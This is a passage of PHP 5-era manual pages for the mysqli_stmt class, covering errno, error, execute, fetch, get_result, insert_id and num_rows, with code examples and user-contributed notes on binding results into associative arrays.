Although the documentation says you must provide a number between 0 and count - 1, you can actually supply a negative number, which appears to be cast to positive (such as in abs()).

For example:

<?php
$db = new mysqli('localhost', 'test', 'password', 'schema');
$db->multi_query("
            SELECT * FROM
            (
                SELECT 1 as 'position'
                UNION SELECT 2 as 'position'
                UNION SELECT 3 as 'position'
                UNION SELECT 4 as 'position'
                UNION SELECT 5 as 'position'
            ) as rows");

$result = $db->store_result();

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = $i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = -$i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}
john at innercurmudgeon dot com 07-Jan-2008 10:13
mysqli_stmt_data_seek() only works if you have previously called mysqli_stmt_store_result().
mysqli_stmt::close
mysqli_stmt::$errno
mysqli_stmt


Returns the error code for the most recent statement call

mysqli_stmt::data_seek
mysqli_stmt::$error
mysqli_stmt
PHP Manual

mysqli_stmt::$errno

mysqli_stmt_errno

(PHP 5)

mysqli_stmt::$errno -- mysqli_stmt_errno — Returns the error code for the most recent statement call

Description

Object oriented style

int $mysqli_stmt->errno;

Procedural style

int mysqli_stmt_errno ( mysqli_stmt $stmt )

Returns the error code for the most recently invoked statement function that can succeed or fail.

Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

An error code value. Zero means no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %d.\n", $stmt->errno);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %d.\n", mysqli_stmt_errno($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: 1146.

See Also

  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::data_seek
mysqli_stmt::$error
mysqli_stmt


Returns a string description for last statement error

mysqli_stmt::$errno
mysqli_stmt::execute
mysqli_stmt
PHP Manual

mysqli_stmt::$error

mysqli_stmt_error

(PHP 5)

mysqli_stmt::$error -- mysqli_stmt_error — Returns a string description for last statement error

Description

Object oriented style

string $mysqli_stmt->error;

Procedural style

string mysqli_stmt_error ( mysqli_stmt $stmt )

Returns a containing the error message for the most recently invoked statement function that can succeed or fail.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->error);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_error($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: Table 'world.myCountry' doesn't exist.

See Also

  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::$errno
mysqli_stmt::execute
mysqli_stmt


Executes a prepared Query

mysqli_stmt::$error
mysqli_stmt::fetch
mysqli_stmt
PHP Manual

mysqli_stmt::execute

mysqli_stmt_execute

(PHP 5)

mysqli_stmt::execute -- mysqli_stmt_execute — Executes a prepared Query

Description

Object oriented style

bool mysqli_stmt::execute ( void )

Procedural style

bool mysqli_stmt_execute ( mysqli_stmt $stmt )

Executes a query that has been previously prepared using the mysqli_prepare() function. When executed any parameter markers which exist will automatically be replaced with the appropriate data.

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the mysqli_stmt_affected_rows() function. Likewise, if the query yields a result set the mysqli_stmt_fetch() function is used.

Note:

When using mysqli_stmt_execute(), the mysqli_stmt_fetch() function must be used to fetch the data prior to performing any additional queries.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* Prepare an insert statement */
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);

$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
$stmt->execute();

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
$stmt->execute();

/* close statement */
$stmt->close();

/* retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
if ($result = $mysqli->query($query)) {
    while ($row = $result->fetch_row()) {
        printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
    }
    /* free result set */
    $result->close();
}

/* remove table */
$mysqli->query("DROP TABLE myCity");

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* Prepare an insert statement */
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";
$stmt = mysqli_prepare($link, $query);

mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
mysqli_stmt_execute($stmt);

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
mysqli_stmt_execute($stmt);

/* close statement */
mysqli_stmt_close($stmt);

/* retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
if ($result = mysqli_query($link, $query)) {
    while ($row = mysqli_fetch_row($result)) {
        printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
    }
    /* free result set */
    mysqli_free_result($result);
}

/* remove table */
mysqli_query($link, "DROP TABLE myCity");

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Stuttgart (DEU,Baden-Wuerttemberg)
Bordeaux (FRA,Aquitaine)

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

vedran-b at email dot htnet dot hr 04-Oct-2010 09:20
After the stmt->execute() function is called the variable "$X" that was storing the bind param e.g.

$stmt->bind_param("i", $X);

gets set to 0.

So don't try to use it for something else later... like me ...for $_session key coz you'll get crazy..... like me...

p.s. $_session keys starting with nums get discarded.
Amit S. 23-Jul-2007 04:14
I decided to use mysqli since I could use prepared statements for my stored procedures. To me, this is good so I don't have to worry about SQL injection by doing this. No dynamic SQL on the PHP end or in my stored procedure.

Anyways, I would open one connection to the database and run multiple stored procedures. On the second stored procedure, I would get this error - lost connection - and I know that none of my queries are long running where I would hit a timeout.

To me, I just care about the result set that my stored procedure is producing, which is only one result set. The rest can be safely ignored. If you are in the same boat as me, this is what you can do:

After you are done getting the resultset from mysqli, do the following before you execute the next query:

while(mysqli_more_results($conn)) {
    mysqli_next_result($conn);
}
Typer85 at gmail dot com 28-Dec-2006 02:23
Just to clarify this note in the Manual regarding this function:

"Note:  When using mysqli_stmt_execute(), the mysqli_stmt_fetch()  function must be used to fetch the data prior to performing any additional queries."

This is because this function DOES NOT store the result set on the client side so you have to fetch everything in the result set or else you risk major errors.

If you however use the function mysqli_stmt_store_result immediately after you use this function, you are forcing the result set to be stored on the client side and thus it is safe to issue extra queries before fetching all the data.

This is where you really have to make a choice regarding on your application's priorities. If you know your result set is memory hefty, then its a good idea not to store it on the client side so you don't run in any errors regarding unavailable memory on the server. But this also means your not going to do a lot of calculations on the result set or else you will prevent any other usage of the table to which the result set came from until you fetched it all.

If your going to do a lot of calculations or your result set is not memory hefty, its probably a good idea to store it on the client side.

Most of these problems can easily be solved if you have a lot of memory available on your server but thats usually not the case for those on shared hosting.

An intelligent way to counter this problem if your on a shared host is to be smart in the way you design your queries. Try to limit the result set if you know you will be fetching memory hefty result sets.

Test different alternatives for your application and see what works best for you under different conditions.

Good Luck,
andrey at php dot net 07-Oct-2005 05:34
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
mysqli_stmt::$error
mysqli_stmt::fetch
mysqli_stmt


Fetch results from a prepared statement into the bound variables

mysqli_stmt::execute
mysqli_stmt::$field_count
mysqli_stmt
PHP Manual

mysqli_stmt::fetch

mysqli_stmt_fetch

(PHP 5)

mysqli_stmt::fetch -- mysqli_stmt_fetch — Fetch results from a prepared statement into the bound variables

Description

Object oriented style

bool mysqli_stmt::fetch ( void )

Procedural style

bool mysqli_stmt_fetch ( mysqli_stmt $stmt )

Fetch the result from a prepared statement into the variables bound by mysqli_stmt_bind_result().

Note:

Note that all columns must be bound by the application before calling mysqli_stmt_fetch().

Note:

Data are transferred unbuffered without calling mysqli_stmt_store_result() which can decrease performance (but reduces memory cost).

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Return Values
Value | Description
TRUE | Success. Data has been fetched
FALSE | Error occurred
NULL | No more rows/data exists or data truncation occurred

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = $mysqli->prepare($query)) {

    /* execute statement */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($name, $code);

    /* fetch values */
    while ($stmt->fetch()) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = mysqli_prepare($link, $query)) {

    /* execute statement */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* fetch values */
    while (mysqli_stmt_fetch($stmt)) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Rockford (USA)
Tallahassee (USA)
Salinas (USA)
Santa Clarita (USA)
Springfield (USA)

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

Bruce Martin 30-Dec-2011 09:51
I was trying to use a generic select * from table statment and have the results returned in an array. I finally came up with this solution, others have similar solutions, but they where not working for me.
<?php
    //Snip use normal methods to get to this point
    $stmt->execute();
    $metaResults = $stmt->result_metadata();
    $fields = $metaResults->fetch_fields();
    $statementParams='';
     //build the bind_results statement dynamically so I can get the results in an array
     foreach($fields as $field){
         if(empty($statementParams)){
             $statementParams.="\$column['".$field->name."']";
         }else{
             $statementParams.=", \$column['".$field->name."']";
         }
    }
    $statment="\$stmt->bind_result($statementParams);";
    eval($statment);
    while($stmt->fetch()){
        //Now the data is contained in the assoc array $column. Useful if you need to do a foreach, or
        //if your lazy and didn't want to write out each param to bind.
    }
    // Continue on as usual.
?>
denath2 at yahoo dot com 19-May-2008 12:27
As php at johnbaldock dot co dot uk mentioned the problem is that the $row returned is reference and not data. So, when you write  $array[] = $row, the $array will be filled up with the last element of the dataset. To come up with this you can write the following hack:

// loop through all result rows
while ($stmt->fetch()) {

    foreach( $row as $key=>$value )
    {
        $row_tmb[ $key ] = $value;
    }
    $array[] = $row_tmb;

}
piedone at pyrocenter dot hu 08-May-2008 12:57
I tried the mentioned stmt_bind_assoc() function, but somehow, very strangely it doesn't allow the values to be written in an array! In the while loop, the row is fetched correctly, but if I write $array[] = $row;, the array will be filled up with the last element of the dataset... Unfortunately I couldn't find a solution.
Lyndon 23-Apr-2008 05:38
This function uses the same idea as the last, but instead binds the fields to a given array.
<?php
function stmt_bind_assoc (&$stmt, &$out) {
    $data = mysqli_stmt_result_metadata($stmt);
    $fields = array();
    $out = array();

    $fields[0] = $stmt;
    $count = 1;

    while($field = mysqli_fetch_field($data)) {
        $fields[$count] = &$out[$field->name];
        $count++;
    }
    call_user_func_array(mysqli_stmt_bind_result, $fields);
}

// example

$stmt = $mysqli->prepare("SELECT name, userid FROM somewhere");
$stmt->execute();

$row = array();
stmt_bind_assoc($stmt, $row);

// loop through all result rows
while ($stmt->fetch()) {
    print_r($row);
}
?>
dan dot latter at gmail dot com 16-Aug-2007 12:14
The following function taken from PHP Cookbook 2, returns an associative array of a row in the resultset, place in while loop to iterate through whole result set.

<?php
public function fetchArray () {
   $data = mysqli_stmt_result_metadata($this->stmt);
        $fields = array();
        $out = array();

        $fields[0] = &$this->stmt;
        $count = 1;

        while($field = mysqli_fetch_field($data)) {
            $fields[$count] = &$out[$field->name];
            $count++;
        }

        call_user_func_array(mysqli_stmt_bind_result, $fields);
        mysqli_stmt_fetch($this->stmt);
        return (count($out) == 0) ? false : $out;

    }
?>
php at johnbaldock dot co dot uk 30-Jan-2007 04:35
Good point about the spaces in column names. I also had trouble with the fetch assoc returning references so when done multiple times all the data pointed to the last result set. I got around it by adding a foreach loop:

<?php
// creates an array of real values from an array of references
foreach ($this->results as $k => $v) {
    $results[$k] = $v;
}
?>

To tidy all this up into a nice package I extended the mysqli and stmt classes. Here is the code to extend both, I also included 'Typer85 at gmail dot com's fix for column names that have spaces in them.

<?php
class mysqli_Extended extends mysqli
{
    protected $selfReference;

    public function __construct($dbHost, $dbUsername, $dbPassword, $dbDatabase)
    {
        parent::__construct($dbHost, $dbUsername, $dbPassword, $dbDatabase);

    }

    public function prepare($query)
    {
        $stmt = new stmt_Extended($this, $query);

        return $stmt;
    }
}

class stmt_Extended extends mysqli_stmt
{
    protected $varsBound = false;
    protected $results;

    public function __construct($link, $query)
    {
        parent::__construct($link, $query);
    }

    public function fetch_assoc()
    {
        // checks to see if the variables have been bound, this is so that when
        //  using a while ($row = $this->stmt->fetch_assoc()) loop the following
        // code is only executed the first time
        if (!$this->varsBound) {
            $meta = $this->result_metadata();
            while ($column = $meta->fetch_field()) {
                // this is to stop a syntax error if a column name has a space in
                // e.g. "This Column". 'Typer85 at gmail dot com' pointed this out
                $columnName = str_replace(' ', '_', $column->name);
                $bindVarArray[] = &$this->results[$columnName];
            }
            call_user_func_array(array($this, 'bind_result'), $bindVarArray);
            $this->varsBound = true;
        }

        if ($this->fetch() != null) {
            // this is a hack. The problem is that the array $this->results is full
            // of references not actual data, therefore when doing the following:
            // while ($row = $this->stmt->fetch_assoc()) {
            // $results[] = $row;
            // }
            // $results[0], $results[1], etc, were all references and pointed to
            // the last dataset
            foreach ($this->results as $k => $v) {
                $results[$k] = $v;
            }
            return $results;
        } else {
            return null;
        }
    }
}

// this is an example use of the extended mysqli.
// the only difference is using "mysqli_Extended" instead of "mysqli"
$db = new mysqli_Extended($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$query = 'SELECT foo FROM bar';
$stmt = $db->prepare($query);
$stmt->execute();
$stmt->store_result();
while ($row = $stmt->fetch_assoc()) {
    $foo[] = $row['foo'];
}
$stmt->close();
$db->close();
?>
Typer85 at gmail dot com 27-Dec-2006 05:55
Just a side note,

I see many people are contributing in ways to help return result sets for prepared statements in ASSOSITAVE arrays the same as the mysqli_fetch_assos function might return from a normal query issued via mysqli_query.

This is done, in all the examples I have seen, by dynamically getting the field names in the prepared statement and binding them using 'variable' variables, which are variables that are created dynamically with the name of the field names.

Some thing though you should take into consideration is illegal variable names in PHP. Assume that you have a field name in your database table named 'My Field' , notice the space between 'My' and 'Field'.

To dynamically create this variable is illegal in PHP as variables can not have spaces in them. Furthermore, you won't be able to access the binded data as you can not reference a variable like so:

<?php

// Syntax Error.

echo $My Table;

?>

The only suitable solution I find now is to replace all spaces in a field name with an underscore so that you can use the binded variable like so:

<?php

// This Works.

echo $My_Table;

// Notice the space is now replaced with an underscore.

?>

All you simply have to do is before you dynamically bind the data, so a string search for any spaces in the table name, replace them with an underscore, THEN bind the variable.

That way you should not run into problems.
php at johnbaldock dot co dot uk 09-Nov-2006 01:33
Having just learned about call_user_func_array I reworked my fetch_assoc example. Swapping the following code makes for a more elegant (and faster) solution.

Using:
<?php
while ($columnName = $meta->fetch_field()) {
    $columns[] = &$results[$columnName->name];
}
call_user_func_array(array($stmt, 'bind_result'), $columns);
?>

Instead of this code from my example below:
<?php
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
   $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';
eval($bindResult);
?>

The full reworked fetch_assoc code for reference:
<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

while ($column = $meta->fetch_field()) {
   $bindVarsArray[] = &$results[$column->name];
}
call_user_func_array(array($stmt, 'bind_result'), $bindVarsArray);

$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//  ["id"]=>
//  &int(1)
//  ["foo"]=>
//  &string(11) "This is Foo"
//  ["bar"]=>
//  &string(11) "This is Bar"
// }
?>
php at johnbaldock dot co dot uk 23-Oct-2006 01:07
I wanted a simple way to get the equivalent of fetch_assoc when using a prepared statement. I came up with the following:

<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

// the following creates a bind_result string with an argument for each column in the query
// e.g. $stmt->bind_result($results["id"], $results["foo"], $results["bar"]);
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
    $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';

// executes the bind_result string
eval($bindResult);
$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//   ["id"]=>
//   &int(1)
//   ["foo"]=>
//   &string(11) "This is Foo"
//   ["bar"]=>
//   &string(11) "This is Bar"
// }
?>
andrey at php dot net 27-Apr-2005 11:37
IMPORTANT note: Be careful when you use this function with big result sets or with BLOB/TEXT columns. When one or more columns are of type (MEDIUM|LONG)(BLOB|TEXT) and ::store_result() was not called mysqli_stmt_fetch() will try to allocate at least 16MB for every such column. It _doesn't_ matter that the longest value in the result set is for example 30 bytes, 16MB will be allocated. Therefore it is not the best idea ot use binding of parameters whenever fetching big data. Why? Because once the data is in the mysql result set stored in memory and then second time in the PHP variable.
mysqli_stmt::execute
mysqli_stmt::$field_count
mysqli_stmt


Returns the number of field in the given statement

mysqli_stmt::fetch
mysqli_stmt::free_result
mysqli_stmt
PHP Manual

mysqli_stmt::$field_count

mysqli_stmt_field_count

(PHP 5)

mysqli_stmt::$field_count -- mysqli_stmt_field_count — Returns the number of field in the given statement

Description

Object oriented style

int $mysqli_stmt->field_count;

Procedural style

int mysqli_stmt_field_count ( mysqli_stmt $stmt )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::fetch
mysqli_stmt::free_result
mysqli_stmt


Frees stored result memory for the given statement handle

mysqli_stmt::$field_count
mysqli_stmt::get_result
mysqli_stmt
PHP Manual

mysqli_stmt::free_result

mysqli_stmt_free_result

(PHP 5)

mysqli_stmt::free_result -- mysqli_stmt_free_result — Frees stored result memory for the given statement handle

Description

Object oriented style

void mysqli_stmt::free_result ( void )

Procedural style

void mysqli_stmt_free_result ( mysqli_stmt $stmt )

Frees the result memory associated with the statement, which was allocated by mysqli_stmt_store_result().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

No value is returned.

See Also

  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::$field_count
mysqli_stmt::get_result
mysqli_stmt


Gets a result set from a prepared statement

mysqli_stmt::free_result
mysqli_stmt::get_warnings
mysqli_stmt
PHP Manual

mysqli_stmt::get_result

mysqli_stmt_get_result

(PHP 5 >= 5.3.0)

mysqli_stmt::get_result -- mysqli_stmt_get_result — Gets a result set from a prepared statement

Description

Object oriented style

mysqli_result mysqli_stmt::get_result ( void )

Procedural style

mysqli_result mysqli_stmt_get_result ( mysqli_stmt $stmt )

Call to return a result set from a prepared statement query.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns a resultset or FALSE on failure.

MySQL Native Driver Only

Available only with mysqlnd.

Examples

Example #1 Object oriented style

<?php

$mysqli = new mysqli("127.0.0.1", "user", "password", "world");

if($mysqli->connect_error)
{
    die("$mysqli->connect_errno: $myslqi->connect_error");
}

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = $mysqli->stmt_init();
if(!$stmt->prepare($query))
{
    print "Failed to prepare statement\n";
}
else
{
    $stmt->bind_param("s", $continent);

    $continent_array = array('Europe','Africa','Asia','North America');

    foreach($continent_array as $continent)
    {
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_NUM))
        {
            foreach ($row as $r)
            {
                print "$r ";
            }
            print "\n";
        }
    }
}

$stmt->close();
$mysqli->close();
?>

Example #2 Procedural style

<?php

$link = mysqli_connect("127.0.0.1", "user", "password", "world");

if (!$link)
{
    $error = mysqli_connect_error();
    $errno = mysqli_connect_errno();
    print "$errno: $error\n";
    exit();
}

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = mysqli_stmt_init($link);
if(!mysqli_stmt_prepare($stmt, $query))
{
    print "Failed to prepare statement\n";
}
else
{
    mysqli_stmt_bind_param($stmt, "s", $continent);

    $continent_array = array('Europe','Africa','Asia','North America');

    foreach($continent_array as $continent)
    {
        mysqli_stmt_execute($stmt);
        $result = mysqli_stmt_get_result($stmt);
        while ($row = mysqli_fetch_array($result, MYSQLI_NUM))
        {
            foreach ($row as $r)
            {
                print "$r ";
            }
            print "\n";
        }
    }
}
mysqli_stmt_close($stmt);
mysqli_close($link);
?>

The above examples will output:

Albania 3401200 Europe
Algeria 31471000 Africa
Afghanistan 22720000 Asia
Anguilla 8000 North America

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

jari dot wiklund at gmail dot com 16-Sep-2011 01:03
Please note that this method requires the mysqlnd driver. Othervise you will get this error: Call to undefined method mysqli_stmt::get_result()
mysqli_stmt::free_result
mysqli_stmt::get_warnings
mysqli_stmt


Get result of SHOW WARNINGS

mysqli_stmt::get_result
mysqli_stmt::$insert_id
mysqli_stmt
PHP Manual

mysqli_stmt::get_warnings

mysqli_stmt_get_warnings

(PHP 5 >= 5.1.0)

mysqli_stmt::get_warnings -- mysqli_stmt_get_warnings — Get result of SHOW WARNINGS

Description

Object oriented style

object mysqli_stmt::get_warnings ( mysqli_stmt $stmt )

Procedural style

object mysqli_stmt_get_warnings ( mysqli_stmt $stmt )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_stmt::get_result
mysqli_stmt::$insert_id
mysqli_stmt


Get the ID generated from the previous INSERT operation

mysqli_stmt::get_warnings
mysqli_stmt::$num_rows
mysqli_stmt
PHP Manual

mysqli_stmt::$insert_id

mysqli_stmt_insert_id

(PHP 5)

mysqli_stmt::$insert_id -- mysqli_stmt_insert_id — Get the ID generated from the previous INSERT operation

Description

Object oriented style

int $mysqli_stmt->insert_id;

Procedural style

mixed mysqli_stmt_insert_id ( mysqli_stmt $stmt )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

hgernhardt at tcnewengland dot org 07-Feb-2011 07:33
It should be noted that using mysqli_stmt->insert_id will not result in a unique ID being returned for each execution of a prepared insert statement.  In practice, it appears that the first insertion ID is returned.  If you are performing multiple inserts with the same prepared statement (one invocation of mysqli_stmt::prepare and multiple invocations of mysqli_stmt::execute() for a given statement), and need to keep the unique ID for each insert, use mysqli_connection->insert_id.
php at paulbutler dot org 31-Jul-2007 03:50
This can be used as a property of a statement as well:

<?php

$statement = $mysqli->prepare($query);

echo $statement->insert_id;

?>
mysqli_stmt::get_warnings
mysqli_stmt::$num_rows
mysqli_stmt


Return the number of rows in statements result set

mysqli_stmt::$insert_id
mysqli_stmt::$param_count
mysqli_stmt
PHP Manual

mysqli_stmt::$num_rows

mysqli_stmt_num_rows

(PHP 5)

mysqli_stmt::$num_rows -- mysqli_stmt_num_rows — Return the number of rows in statements result set

Description

Object oriented style

int $mysqli_stmt->num_rows;

Procedural style

int mysqli_stmt_num_rows ( mysqli_stmt $stmt )

Returns the number of rows in the result set. The use of mysqli_stmt_num_rows() depends on whether or not you used mysqli_stmt_store_result() to buffer the entire result set in the statement handle.

If you use mysqli_stmt_store_result(), mysqli_stmt_num_rows() may be called immediately.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

An integer representing the number of rows in result set.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* store result */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* store result */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

